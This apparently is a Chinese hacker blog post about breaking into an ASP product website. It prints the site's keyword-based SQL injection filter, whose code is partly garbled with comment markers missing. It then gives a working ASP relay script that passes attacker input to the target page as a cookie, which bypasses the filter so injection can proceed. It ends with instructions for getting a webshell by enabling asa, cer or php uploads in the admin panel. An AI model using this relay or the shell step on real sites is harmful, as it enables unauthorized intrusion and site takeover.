H4ckx7s Blog
http://hi.baidu.com/77dear
文件 IncCheck_Sql.
<%
Dim Query_Badword,Form_Badword,i,Err_Message,Err_Web,name
------定义部份 头----------------------------------------------------------------------
Err_Message = 1 处理方式:1=提示信息,2=转向页面,3=先提示再转向
Err_Web = "Err.Asp" 出错时转向的页面
Query_Badword="∥and∥select∥update∥chr∥delete∥%20from∥;∥insert∥mid∥master.∥set∥chr(37)∥="
在这部份定义get非法参数,使用"∥"号间隔
Form_Badword="∥%∥&∥*∥#∥(∥)∥=" 在这部份定义post非法参数,使用"∥"号间隔
------定义部份 尾-----------------------------------------------------------------------
On Error Resume Next
----- 对 get query 值 的过滤.
if request.QueryString<>"" then
Chk_badword=split(Query_Badword,"∥")
FOR EACH Query_Name IN Request.QueryString
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.QueryString(Query_Name)),Chk_badword(i))<>0 Then
Select Case Err_Message
Case "1"
Response.Write "<Script Language=Script>alert(传参错误!参数 "&name&" 的值中包含非法字符串!
请不要在参数中出现:and update delete ; insert mid master 等非法字符!);window.close();</Script>"
Case "2"
Response.Write "<Script Language=>location.href="&Err_Web&"</Script>"
Case "3"
Response.Write "<Script Language=JavaScript>alert(传参错误!参数 "&name&"的值中包含非法字符串!
请不要在参数中出现:and update delete ; insert mid master 等非法字符!);location.href="&Err_Web&";</Script>"
End Select
Response.End
End If
NEXT
NEXT
End if
-----对 post 表 单值的过滤.
if request.form<>"" then
Chk_badword=split(Form_Badword,"∥")
FOR EACH name IN Request.Form
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.form(name)),Chk_badword(i))<>0 Then
Select Case Err_Message
Case "1"
Response.Write "<Script Language=JavaScript>alert(出错了!表单 "&name&" 的值中包含非法字符串!
请不要在表单中出现: % & * # ( ) 等非法字符!);window.close();</Script>"
Case "2"
Response.Write "<Script Language=JavaScript>location.href="&Err_Web&"</Script>"
Case "3"
Response.Write "<Script Language=JavaScript>alert(出错了!参数 "&name&"的值中包含非法字符串!
请不要在表单中出现: % & * # ( ) 等非法字符!);location.href="&Err_Web&";</Script>"
End Select
Response.End
End If
NEXT
NEXT
end if
%>
取ProductShow.asp 构造
<%
Str="id="&escape(request("ro"))
Url="http://www.xxxx.com/ProductShow.asp"
response.write PostData(Url,Str)
Function PostData(PostUrl,PostCok)
Dim Http
Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
With Http
.Open "GET",PostUrl,False
.SetRequestHeader "Cookie",PostCok
.Send
PostData = .ResponseBody
End With
Set Http = Nothing
PostData =bytes2BSTR(PostData)
End Function
Function bytes2BSTR(vIn)
Dim strReturn
Dim I, ThisCharCode, NextCharCode
strReturn = ""
For I = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn, I, 1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn, I + 1, 1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
I = I + 1
End If
Next
bytes2BSTR = strReturn
End Function
%>
本地架设asp环境,可以进行注射!
后台添加上传格式asa|cer|php等 可以得到shell
(免责声明:文章内容如涉及作品内容、版权和其它问题,请及时与我们联系,我们将在第一时间删除内容,文章内容仅供参考)